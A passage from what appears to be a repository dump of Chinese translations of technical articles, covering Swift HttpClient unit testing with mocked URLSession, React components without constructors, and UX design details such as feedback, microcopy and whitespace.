应提交同样的 request。\n2. HttpClient 应能够提交 request。\n\n所以我们对 HttpClient 的初次实现是这样的：\n\n```\nclass HttpClient {\n    typealias completeClosure = ( _ data: Data?, _ error: Error?)->Void\n    func get( url: URL, callback: @escaping completeClosure ) {\n        let request = NSMutableURLRequest(url: url)\n        request.httpMethod = \"GET\"\n        let task = URLSession.shared.dataTask(with: request) { (data, response, error) in\n            callback(data, error)\n        }\n        task.resume()\n    }\n}\n```\n\nHttpClient 看起来可以提交一个 “GET” 请求，并通过 “callback” 闭包将返回值回传。\n\n```\nHttpClient().get(url: url) { (success, response) in // Return data }\n```\n\nHttpClient 的用法。\n\n这就是问题所在：我们怎么对它测试？我们如何确保这些代码达到上述的两点要求？凭直觉，我们可以给 HttpClient 传入一个 URL，运行代码，然后在闭包里观察得到的结果。但是这些操作意味着我们在运行 HttpClient 时必须每次都连接互联网。更糟糕的是如果你测试的 URL 是连接生产服务器：你的测试在一定程度上会影响服务器性能，而且你提交的测试数据将会被提交到真实的世界。就像我们之前描述的，我们必须让 HttpClient “可测试”。\n\n我们来看下 URLSession。URLSession 是 HttpClient 的一种‘环境’，是 HttpClient 连接互联网的入口。还记得我们刚讨论的“可测试”代码吗？ 我们需要将互联网部分变得可替换，于是我们修改了 HttpClient 的实现：\n\n```\nclass HttpClient {\n    typealias completeClosure = ( _ data: Data?, _ error: Error?)->Void\n    private let session: URLSession\n    init(session: URLSessionProtocol) {\n        self.session = session\n    }\n    func get( url: URL, callback: @escaping completeClosure ) {\n        let request = NSMutableURLRequest(url: url)\n        request.httpMethod = \"GET\"\n        let task = session.dataTask(with: request) { (data, response, error) in\n            callback(data, error)\n        }\n        task.resume()\n    }\n}\n```\n\n我们将\n\n```\nlet task = URLSession.shared.dataTask()\n```\n\n修改成了\n\n```\nlet task = session.dataTask()\n```\n\n我们增加了新的变量：**session**，并添加了对应的 **init** 方法。之后每当我们创建 HttpClient 对象时，就必须初始化 **session**。也就是说，我们已经将 session “注入”到了我们创建的 HttpClient 对象中。现在我们就能够在运行生产代码时注入 ‘URLSession.shared’，而运行测试代码时注入一个模拟的 session。Bingo!\n\n这时 HttpClient 的用法就变成了：HttpClient(session: SomeURLSession() ).get(url: url) { (success, response) in // Return data }\n\n给此时的 HttpClient 写测试代码就会变得非常简单。因此我们开始布置我们的测试环境：\n\n```\nclass HttpClientTests: XCTestCase { \n    var httpClient: HttpClient! \n    let session = MockURLSession()\n    override func setUp() {\n        super.setUp()\n        httpClient = HttpClient(session: session)\n    }\n    override func tearDown() {\n        super.tearDown()\n    }\n}\n```\n\n这是个规范的 XCTestCase 设置。**httpClient** 变量就是被测系统，**session** 变量是我们将为 httpClient 注入的环境。因为我们要在测试环境运行代码，所以我们将 MockURLSession 对象传给 **session**。这时我们将模拟的 **session** 注入到了 httpClient，使得 httpClient 在 URLSession.shared 被替换成 MockURLSession 的情况下运行。\n\n### 测试数据\n\n现在让我们注意下第一点要求：\n\n1. HttpClient 和初始的网络组件对于同一 URL 应提交同样的 request 。\n\n我们想达到的效果是确保该 request 的 url 和我们传入 “get” 方法的 url 完全一致。\n\n以下是我们的测试用例：\n\n```\nfunc test_get_request_withURL() {\n    guard let url = URL(string: \"https://mockurl\") else {\n        fatalError(\"URL can't be empty\")\n    }\n    httpClient.get(url: url) { (success, response) in\n        // Return data\n    }\n    // Assert \n}\n```\n这个测试用例可表示为：\n\n  * **Precondition**: Given a url “https://mockurl”\n  * **When**: Submit a http GET request\n  * **Assert**: The submitted url should be equal to “https://mockurl”\n\n我们还需要写断言部分。\n\n但是我们怎么知道 HttpClient 的 “get” 方法确实提交了正确的 url 呢？让我们再看眼依赖：URLSession。通常，“get” 方法会用拿到的 url 创建一个 request，并把 request 传给 URLSession 来完成提交:\n\n```\nlet task = session.dataTask(with: request) { (data, response, error) in\n    callback(data, error)\n}\ntask.resume()\n```\n\n接下来，在测试环境中 request 将会传给 MockURLSession，所以我们只要 hack 进我们自己的 MockURLSession 就可以查看 request 是否被正确创建了。\n\n下面是 MockURLSession 的粗略实现：\n\n```\nclass MockURLSession {\n    private (set) var lastURL: URL?\n    func dataTask(with request: NSURLRequest, completionHandler: @escaping DataTaskResult) -> URLSessionDataTask {\n        lastURL = request.url\n        completionHandler(nextData, successHttpURLResponse(request: request), nextError)        \n        return // dataTask, will be impletmented later\n    }\n}\n```\n\nMockURLSession 的作用和 URLSession 一样，URLSession 和 MockURLSession 有同样的 dataTask() 方法和相同的回调闭包类型。虽然 URLSession 比 MockURLSession 的 dataTask() 做了更多的工作，但它们的接口是类似的。正是由于它们的接口相似，我们才能不需要修改 “get” 方法太多代码就可以用 MockURLSession 替换掉 URLSession。接着我们创建一个 **lastURL** 变量来跟踪 “get” 方法提交的最终 url 。简单点说，就是当测试的时候，我们创建一个注入 MockURLSession 的 HttpClient，然后观察 url 是否前后相同。\n\n以下是测试用例的大概实现：\n\n```\nfunc test_get_request_withURL() {\n    guard let url = URL(string: \"https://mockurl\") else {\n        fatalError(\"URL can't be empty\")\n    }\n    httpClient.get(url: url) { (success, response) in\n        // Return data\n    }\n    XCTAssert(session.lastURL == url)\n}\n```\n\n我们为 **lastURL** 和 **url** 添加断言，这样就会得知注入后的 “get” 方法是否正确创建了带有正确 url 的 request。\n\n上面的代码仍有一处地方需要实现：`return // dataTask`。在 URLSession 中返回值必须是个 URLSessionDataTask 对象，但是 URLSessionDataTask 已经不能正常创建了，所以这个 URLSessionDataTask 对象也需要被模拟创建：\n\n```\nclass MockURLSessionDataTask {  \n    func resume() { }\n}\n```\n\n作为 URLSessionDataTask，模拟对象需要有相同的方法 resume()。这样才会把模拟对象当做 dataTask() 的返回值。\n\n如果你跟着我一块敲代码，就会发现你的代码会被编译器报错：\n\n```\nclass HttpClientTests: XCTestCase {\n    var httpClient: HttpClient!\n    let session = MockURLSession()\n    override func setUp() {\n        super.setUp()\n        httpClient = HttpClient(session: session) // Doesn't compile \n    }\n    override func tearDown() {\n        super.tearDown()\n    }\n}\n```\n\n这是因为 MockURLSession 和 URLSession 的接口不一样。所以当我们试着注入 MockURLSession 的时候会发现 MockURLSession 并不能被编译器识别。我们必须让模拟的对象和真实对象拥有相同的接口，所以我们引入了 “协议” !\n\nHttpClient 的依赖：\n\n```\nprivate let session: URLSession\n```\n\n我们希望不论 URLSession 还是 MockURLSession 都可以作为 session 对象，因此我们将 session 的 URLSession 类型改为 URLSessionProtocol 协议：\n\n```\nprivate let session: URLSessionProtocol\n```\n\n这样我们就能够注入 URLSession 或 MockURLSession 或者其它遵循这个协议的对象。\n\n以下是协议的实现：\n\n```\nprotocol URLSessionProtocol { typealias DataTaskResult = (Data?, URLResponse?, Error?) -> Void\n    func dataTask(with request: NSURLRequest, completionHandler: @escaping DataTaskResult) -> URLSessionDataTaskProtocol\n}\n```\n\n测试代码中我们只需要一个方法：`dataTask(NSURLRequest, DataTaskResult)`，因此在协议中我们也只需定义一个必须实现的方法。当我们需要模拟不属于我们的对象时这个技术通常很适用。\n\n还记得 MockURLDataTask 吗？另一个不属于我们的对象，是的，我们要再创建个协议。\n\n```\nprotocol URLSessionDataTaskProtocol { func resume() }\n```\n\n我们还需让真实的对象遵循这个协议。\n\n```\nextension URLSession: URLSessionProtocol {}\nextension URLSessionDataTask: URLSessionDataTaskProtocol {}\n```\n\nURLSessionDataTask 有个同样的 resume() 协议方法，所以这项修改对于 URLSessionDataTask 是没有影响的。\n\n问题是 URLSession 没有 dataTask() 方法来返回 URLSessionDataTaskProtocol 协议，因此我们需要拓展方法来遵循协议。\n\n```\nextension URLSession: URLSessionProtocol {\n    func dataTask(with request: NSURLRequest, completionHandler: @escaping DataTaskResult) -> URLSessionDataTaskProtocol {\n        return dataTask(with: request, completionHandler: completionHandler) as URLSessionDataTaskProtocol\n    }\n}\n```\n\n这个简单的方法只是将返回类型从 URLSessionDataTask 改成了 URLSessionDataTaskProtocol，不会影响到 dataTask() 的其它行为。\n\n现在我们就能够补全 MockURLSession 缺失的部分了：\n\n```\nclass MockURLSession {\n    private (set) var lastURL: URL?\n    func dataTask(with request: NSURLRequest, completionHandler: @escaping DataTaskResult) -> URLSessionDataTask {\n        lastURL = request.url\n        completionHandler(nextData, successHttpURLResponse(request: request), nextError)        \n        return // dataTask, will be impletmented later\n    }\n}\n```\n\n我们已经知道   // dataTask… 可以是一个 MockURLSessionDataTask：\n\n```\nclass MockURLSession: URLSessionProtocol {\n    var nextDataTask = MockURLSessionDataTask()\n    private (set) var lastURL: URL?\n    func dataTask(with request: NSURLRequest, completionHandler: @escaping DataTaskResult) -> URLSessionDataTaskProtocol {\n        lastURL = request.url\n        completionHandler(nextData, successHttpURLResponse(request: request), nextError)\n        return nextDataTask\n    }\n}\n```\n\n在测试环境中模拟对象就会充当 URLSession 的角色，并且 url 也能够被记录供断言判断。是不是有种万丈高楼平地起的感觉! 所有的代码都已经编译完成并且测试也顺利通过！\n\n让我们继续。\n\n### 测试行为\n\n第二点要求是：\n\n`The HttpClient should submit the request`\n\n我们希望 HttpClient 的 “get” 方法将 request 如预期地提交。\n\n和之前验证数据是否正确的测试不同，我们现在要测试的是方法是否被顺利调用。换句话说，我们想知道 URLSessionDataTask.resume() 方法是否被调用了。让我们继续使用刚才的老把戏：\n我们创建一个新的 resumeWasCalled 变量来记录 resume() 方法是否被调用。\n\n我们简单写一个测试：\n\n```\nfunc test_get_resume_called() {\n    let dataTask = MockURLSessionDataTask()\n    session.nextDataTask = dataTask\n    guard let url = URL(string: \"https://mockurl\") else {\n        fatalError(\"URL can't be empty\")\n    }\n    httpClient.get(url: url) { (success, response) in\n        // Return data\n    }\n    XCTAssert(dataTask.resumeWasCalled)\n}\n```\n\n**dataTask** 变量是我们自己拥有的模拟对象，所以我们可以添加一个属性来监控 resume() 方法的行为：\n\n```\nclass MockURLSessionDataTask: URLSessionDataTaskProtocol {\n    private (set) var resumeWasCalled = false\n    func resume() {\n        resumeWasCalled = true\n    }\n}\n```\n\n如果 resume() 方法被调用了，`resumeWasCalled` 就会被设置成 `true`! :) 很简单，对不对？\n\n### 总结\n\n通过这篇文章，我们学到：\n\n1. 如何调整依赖注入来改变生产/测试环境。\n2. 如何利用协议来创建模拟对象。\n3. 如何检测传值的正确性。\n4. 如何断言某个函数的行为。\n\n刚起步时，你必须花费大量时间来写简单的测试，而且测试代码也是代码，所以你仍需要保持测试代码的简洁和良好的架构。但编写测试用例得到的好处也是弥足珍贵的，代码只有在恰当的测试后才能被扩展，测试帮你免于琐碎 bug 的困扰。所以让我们一起加油写好测试吧!\n\n所有的示例代码都在 [GitHub](https://github.com/koromiko/Tutorial/blob/master/NetworkingUnitTest.playground/Contents.swift) 上，代码是以 Playground 的形式展示的，我还在上面添加了个额外的测试。 你可以自由下载或 fork 这些代码，并且欢迎任何反馈！\n\n感谢阅读我的文章 💚 。\n\n### 参考文献\n\n1. [Mocking Classes You Don’t Own](http://masilotti.com/testing-nsurlsession-input/)\n2. [Dependency Injection](https://www.objc.io/issues/15-testing/dependency-injection/)\n3. [Test-Driven iOS Development with Swift](https://www.amazon.com/Test-Driven-Development-Swift-Dominik-Hauser/dp/178588073X)\n\n感谢 [Lisa Dziuba](https://medium.com/@lisadziuba?source=post_page) 和 [Ahmed Sulaiman](https://medium.com/@ahmedsulaiman?source=post_page).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/the-constructor-is-dead-long-live-the-constructor.md",
    "content": "> * 原文地址：[The constructor is dead, long live the constructor!](https://hackernoon.com/the-constructor-is-dead-long-live-the-constructor-c10871bea599)\n> * 原文作者：[Donavon West](https://hackernoon.com/@donavon?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/the-constructor-is-dead-long-live-the-constructor.md](https://github.com/xitu/gold-miner/blob/master/TODO/the-constructor-is-dead-long-live-the-constructor.md)\n> * 译者：[unicar](https://github.com/unicar9)\n> * 校对者：[FateZeros](https://github.com/FateZeros), [pot-code](https://github.com/pot-code)\n\n# 构造函数已死，构造函数万岁！\n\n\n## 向 React 组件里老掉牙的类构造函数（class constructor）说再见\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*RKQ1VZhf-b7We4YN78xWlA.jpeg)\n\nPhoto by [Samuel Zeller](https://unsplash.com/photos/VLioQ2c-VwE?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n\n尽管无状态函数组件（SFCs）是一件趁手的神兵利器，但 ES6 类组件仍旧是创建 React 组件及其状态和生命周期钩子函数的默认方式。\n\n\n假设一个 ES6 类组件如下例所示（只展示简化过的部分代码）。\n\n\n```\nclass Foo extends Component {\n  constructor(props) {\n    super(props); \n    this.state = { loading: true };\n  }\n```\n\n```\n  async componentDidMount() {\n    const data = await loadStuff();\n    this.setState({ loading: false, data });\n  }\n```\n\n```\n  render() {\n    const { loading, data } = this.state;\n    return (\n      {loading ? <Loading /> : <View {...data} />}\n    );\n  }\n}\n```\n\n在 `constructor` 中初始化 `state`，并于 `componentDidMount` 中异步加载数据，然后根据 `loading` 的状态来渲染 `View` 这个组件。对我而言这是相当标准的模式，如果你熟悉我之前的代码风格的话。\n\n\n### 类属性\n\n\n我们都知道 `constructor` 正是我们初始化实例属性的地方，就像本例中这个 `state` 一样。如果你正胸有成竹地对自己说，『正是如此！』，那么你可说对了……但对于即将问世的 ES.next 类属性提案[class properties proposal](https://github.com/tc39/proposal-class-fields) 而言却并非如此，目前这份提案正处于第三阶段。\n\n\n按照新的提案来说，我们可以用如下方式直接定义类属性。\n\n\n```\nclass Foo extends Component {\n  state = { loading: true };\n  ...\n}\n```\n\nBabel 将会在后台转译你的代码并添加上一个 `constructor`。下图是 Babel 将你的代码片段转译过来的结果。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*IK4vl_NlOIdCDlFYyizEeQ.png)\n\n请注意这里 Babel 实际上是传递了所有参数到 `super` - 不仅仅是 `props`。它也会将 `super` 的返回值传递回调用者。两者虽然感觉有些小题大做，但确实需要这样。\n\n\n> 此处仍存在构造函数，你只是看不见而已。\n\n\n### 绑定方法\n\n\n使用 `constructor` 的另一重原因是将函数绑定到 `this`，如下所示。\n\n\n```\nclass Foo extends Component {\n  constructor(props) {\n    super(props); \n    this.myHandler = this.myHandler.bind(this);\n  }\n```\n\n```\n  myHandler() {\n    // some code here that references this\n  }\n  ...\n}\n```\n\n但有些人用直接将函数表达式指定给一个类属性的方法完全避免了这个问题，不过这又是另一码事了。想了解更多可以参考我写的其他基于 ES6 类的 React 文章。 [**Demystifying Memory Usage using ES6 React Classes**](https://medium.com/@donavon/demystifying-memory-usage-using-es6-react-classes-d9d904bc4557 \"https://medium.com/@donavon/demystifying-memory-usage-using-es6-react-classes-d9d904bc4557\").\n\n\n\n[**Demystifying Memory Usage using ES6 React Classes**](https://medium.com/@donavon/demystifying-memory-usage-using-es6-react-classes-d9d904bc4557)\n\n那让我们假设一下你隶属 `bind` 阵营（即便不是也烦请耐心看完）。我们还是得需要在 `constructor` 进行绑定对吧？那倒不一定了。我们可以在这里使用和上述处理类属性一样的方法。\n\n\n```\nclass Foo extends Component {\n  myHandler = this.myHandler.bind(this);\n  myHandler() {\n    // some code here that references this\n  }\n  ...\n}\n```\n\n### 用 props 来初始化状态\n\n\n那如果你需要从 `props` 中派生出初始 `state`，比方说初始化一个默认值？那这样总该需要使用到 `constructor` 了吧？\n\n\n```\nclass Foo extends Component {\n  constructor(props) {\n    super(props); \n    this.state = {\n      color: this.props.initialColor\n    };\n  }\n  render() {\n    const { color } = this.state;\n    return (\n      <div>\n       {color}\n      </div>\n    );\n  }\n}\n```\n\n并不是哦！类属性再次救人于水火！我们可以同时取到 `this` 和 `props`。\n\n\n```\nclass Foo extends Component {\n  state = {\n    color: this.props.initialColor\n  };\n  ...\n}\n```\n\n### 获取数据\n\n\n那也许我们需要 `constructor` 获取数据？基本上不需要。就像我们在第一个代码示例看到的那样，任何数据的加载都应在 `componentDidMount` 里完成。但为何独独在 `componentDidMount`呢？因为这样可以确保在服务器端运行组件时不会执行获取数据 - 服务器端渲染（SSR）同理 — 因为 `componentDidMount` 不会在服务器端执行。\n\n### 结论\n\n综上可以看出，我们不再需要一个 `constructor`（或者其他任何实例属性）来设置初始 `state`。我们也不需要构造函数来把函数绑定到 `this`，以及从 `props` 设置初始的 `state`。同时我们也完全不需要在 `constructor` 里面获取数据。\n\n\n那为什么我们还需要在 React 组件中使用构造函数呢？\n\n怎么说呢……你还真的不需要\n\n__不过，要是你在某些模棱两可的使用实例里，遇到需要同时从客户端和服务器端在一个组件里初始化什么东西的情况，构造函数仍然是个好的出路。你还有 `componentWillMount` 这个钩子函数可以用。 从内部机制来看，React 在客户端和服务器端都新建好了这个类（即调用构造函数）以后，就会立即调用这个钩子函数。__\n\n\n所以对 React 组件来说，我坚信这一点：构造函数已死，构造函数万岁！\n\n* * *\n\n_I also write for the American Express Engineering Blog. Check out my other works and the works of my talented co-workers at_ [_AmericanExpress.io_](http://americanexpress.io/)_. You can also_ [_follow me on Twitter_](https://twitter.com/donavon)_._\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-details-that-matter.md",
    "content": "> * 原文地址：[The Details That Matter](https://uxplanet.org/the-details-that-matter-8b962ca58b49#.ypigeruoq)\n> * 原文作者：[Nick Babich](https://uxplanet.org/@101?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[ivyxuan](https://github.com/iloveivyxuan)\n> * 校对者：[ylq167](http://www.11167.xyz)、[gaozp](https://github.com/gaozp)\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*9QIpe-Mce0ltsgQ0f0lYWQ.png\">\n\n# 细节是产品设计的重中之重 #\n\n\n一个产品的成功是由各种因素共同造就的，而其中最重要的因素，就是整体的用户体验。在设计一款新的应用或是网站的时候，坚持最佳的实践规范是一个可靠的方法，但是在创造宏伟蓝图的时候，人们很容易就会省略掉那些能让人有更好的体验但却并非必要的设计元素。然而，设计的优劣往往在于我们能设计出多么体贴的细节。\n\n在这篇文章中，我将会重点关注**可视化反馈**、**小的文字信息**还有**留白**这几个方面，你将会发现为什么这些不起眼的细节和那些显眼的设计元素相比同样重要，而这些细节又是怎样决定你产品成败的。\n\n### 可视化反馈 ###\n\n可视化反馈在较大的设计方案里很容易就会被忽视掉，但它实际上贯穿整体的用户体验流程。可以说，如果没有反馈就没有所谓的交互，你能想象和一个人聊天，可他一点反应也不给你吗 —— 你根本就聊不下去。而对于你的应用也是同样的道理。\n\n> **缺乏可视化的反馈会让用户感到困惑。**\n\n你必须要确保对于用户的每个动作都有相应的反馈，因为这会让用户感觉应用运行一切正常。可视化反馈\n\n- 首先表明这个应用接受到了用户的操作。\n- 然后它通过一种可视化而且易于理解的方式告诉用户这次交互的结果是什么，通过给用户一个信号，来告诉用户自己对于这个任务的执行是成功还是失败。\n\n#### 让按钮或是其他开关看起来是可触摸的 ####\n\n在现实生活中，按钮、开关还有其他东西都会对我们的动作有所回应，人们觉得世界就是这样运转的。而同样，人们也会期待应用里的元素能有类似的回应。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*CJmWiRBN2cwd53TfcyTd8g.gif\">\n\n图片来源：[Ramotion](https://dribbble.com/shots/1749645-Contact-Sync)\n\n#### 操作的结果 ####\n\n当你需要告诉用户他的操作结果是什么的时候，可视化反馈就很有用了，你可以利用现有的元素去传递反馈信息。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*6YGP-5TxLJSuDwBYsKzREg.gif\">\n\n图片来源：[Colin Garven](https://dribbble.com/ColinGarven)\n\n#### **系统需要告诉用户他当前的状态是什么** ####\n\n在系统中，用户任何时候都会想知道他此刻的状态是什么，而这不应该让用户自己去猜 —— 所以系统应该通过恰当的可视化反馈告诉用户此刻正在发生什么。对于一些常见而且次要的操作，简单的反馈就可以了，而对于不寻常而且重要的操作，反馈就需要更明显一点。\n\n- [动态提醒](https://uxplanet.org/3-key-uses-for-animation-in-mobile-ui-design-4d7c482dd84b#.x07lyyazb)可以让用户立刻明白此时的状态。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*wU-ATdbQDPg6MTYZtNfTxw.gif\">\n\n图片来源：[Eddy Gann](https://dribbble.com/SMSeddy)\n\n- [加载动画](https://uxplanet.org/progress-indicators-in-mobile-ux-design-a141e22f3ea0#.etoavwmbw)是对于应用进程的实时提醒，可以让用户立刻明白现在加载到哪里了。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*cd858x6Yb2k7lountEkefA.gif\">\n\n应用加载信息的时候，进度条可以避免让用户感到困惑。图片来源：[Mark](https://dribbble.com/milkycookie)\n\n### 少量的文字信息 ###\n\n少量的文字信息是一些用来是指导用户行为的一点点文字。举一些例子就是，错误信息、按钮对应的标签、提示信息。乍看之下，这么少的文字和整个应用设计比起来一点也不重要，但出人意料的是，它们对转化率有着极为重要的影响。\n\n> 在应用里写出好的文字信息，和让应用正常运行、用户界面易于使用一样重要。\n\n#### 让应用看起来像是一个人 ####\n\n有一个快速的方法能让你的 UI 变得温暖而不呆板，就是用人说话的口吻去描述内容。如果你的产品听起来好像是一个人，用户就会更加的信任你。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*r8YCZlga38mG_gX1JyLZWQ.png\">\n\nYelp 表现得好像他们是真人在负责这件事情。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*BOI3X5Qe6tflo6yCDmNmoA.png\">\n\nAirbnb 的提示听起来像人说的话而且语气还很随和。\n\n#### 报错的方式要友好而且有效 ####\n\n表达错误信息的方式会严重影响产品的用户体验。通常来说，省略错误信息或是没有正确描述错误信息都会让用户受挫。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*1EESYQmM9pt_SScMmgQqEg.png\">\n\n**像“出错啦”这种警告对所有的用户都会造成困扰，而且还会惹恼专家级用户。** 但是，一个精心设计过的错误信息，会顿时化失望为欣喜。所以，把报错变得人性化、不用技术性的语言并且适合你的用户群体。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*gX0GBH3BM_d_yjhk8Yvlaw.png\">\n\n错误状态一定要具体、友好而且有用，要告诉用户下一步怎么做。\n\n#### 减少用户的担忧 ####\n\n这些少量的文字信息是很情景化的，这也是为什么它很重要的一个原因。它可以解答用户具体情况下的问题，并针对他们所担忧的事情进行直接地交流。举例来说，当用户选择订阅或是提供了具体信息的时候，一些文字信息对于消除用户担忧会起到相当关键的作用。对于优秀的营销人员来说，“不会有群发消息或是自动关注”是理所当然的事情，但用户自己会存疑。因此，当用户添加了他们的邮箱地址或者绑定了 Twitter 账号的时候，一定要明确表态“我们和你一样讨厌垃圾消息”。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*Cl0P6ebhZTDkCGAHGjLnhA.png\">\n\n这只是一小段紧凑的文字，却涵盖了用户所有潜在的担忧。\n\n### 留白 ###\n\n留白（或者说是负空间）是设计师没有摆放设计元素的地方。而设计元素间的留白是指处在图片间距、内边距、外边距、行间距和字间距的空白。虽然很多人觉得这些空白浪费了宝贵的界面位置，但其实，留白是用户界面设计的一个重要元素。\n\n#### 让用户界面更容易理解 ####\n\n**杂乱的堆砌是很糟糕的一件事情。** 在界面上杂乱堆砌元素会给用户带来过多的信息：每一个被添加的按钮、图片和文字都会让界面显得更加复杂。如果你不想你的设计有任何刻意的留白的话，下面这个例子就能很明白的告诉你，有太多东西一起吸引你的注意力是多么可怕的事情。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*nzZwU1-KnaFrSpzMl04dWg.png\">\n\n杂乱堆砌的 UI 尤其是没有视觉层次的 UI 会让用户没有一点想要审视的欲望。\n\n留白之所以很重要，是因为用户的注意力还有记忆是很有限的。我们的短期记忆只可以在短时间内（通常来说是 10 到 15 秒钟、或者是 1 分钟以内）记住一点有效的既有信息（通常来说[是 7 个事物或者比这个更少](http://www.human-memory.net/types_short.html)）。\n\n> 用户的注意力是很珍贵的资源，所以必须合理的分配。\n\n如果因为你界面上的胡乱堆砌使得用户接收过多的信息，那么减少一些杂物就能改善用户的理解。大方地使用留白可以让凌乱的界面变得简单而有吸引力，留白削减了用户乍看之下接收到的元素数量，这使得浏览信息变得更加容易。留白的使用技巧在于只给用户提供能让他消化的数量的内容（[一定数量的内容](https://uxplanet.org/best-practices-for-cards-fa45e3ad94dd#.by8pzk56q)），然后去掉不必要的细节。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*cY8Jewt4J1xUKyt2rla9nQ.png\">\n\nMedium 是一个典型的例子，它善于使用留白来改善用户对内容和 UI 的理解。\n\n#### 让元素更具有吸引力 ####\n\n留白在设计中是通过在元素周围留出空白，以让元素更加突出或是和其他元素以进行区分。它可以告诉用户什么是最重要而且是需要格外注意的。\n\n> 元素周围的留白越多，元素就会越引人注目。\n\n谷歌搜索的首页就是一个使用留白的典型例子，它通过在正中央摆放其最重要的交互元素（搜索框），并且在周围留出足够的空白以凸显其重要性的布局，直接实现了用户目标。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*UbEexVXM8GYMNuwYNqd2PQ.png\">\n\n去掉其他的元素可以更加凸显留下来的元素。\n\n#### 明确关系 ####\n\n[接近法则](https://www.interaction-design.org/literature/article/laws-of-proximity-uniform-connectedness-and-continuation-gestalt-principles-2)描述了人的眼睛是如何划分视觉元素的，它阐述说距离更近的物体看起来更相似。我们可以利用留白，在不同的元素间产生视觉联系。你看下面这幅图片，几乎所有人都会说看到了两组点，而不是16个点。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*U_YCbTW_AEHSLMnLSqIlqQ.png\">\n\n将信息拆分成合适的组别可以让信息更好的被识别和阅读。右边的表单将 15 栏拆分成 3 组，这样填写表单也变得相对容易了。虽然内容的数量仍然相同，但是给用户的感觉却完全不同。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*xv6xhcRljayCKY15LDekfQ.png\">\n\n图片来源：NNGroup\n\n### 总结 ###\n\n**用心设计**，应用界面上的每一个小的细节都值得细心揣摩，因为用户体验就是由这些小的细节相互协调作用而成的：\n\n> “细节不只是细节，细节成就了设计。” —— Charles Eames\n\n谢谢！\n\n**关注 UX Planet：** [*Twitter*](https://twitter.com/101babich) | [*Facebook*](https://www.facebook.com/uxplanet/)\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n  \n"
  },
  {
    "path": "TODO/the-dos-and-don-ts-of-writing-test-cases-in-android.md",
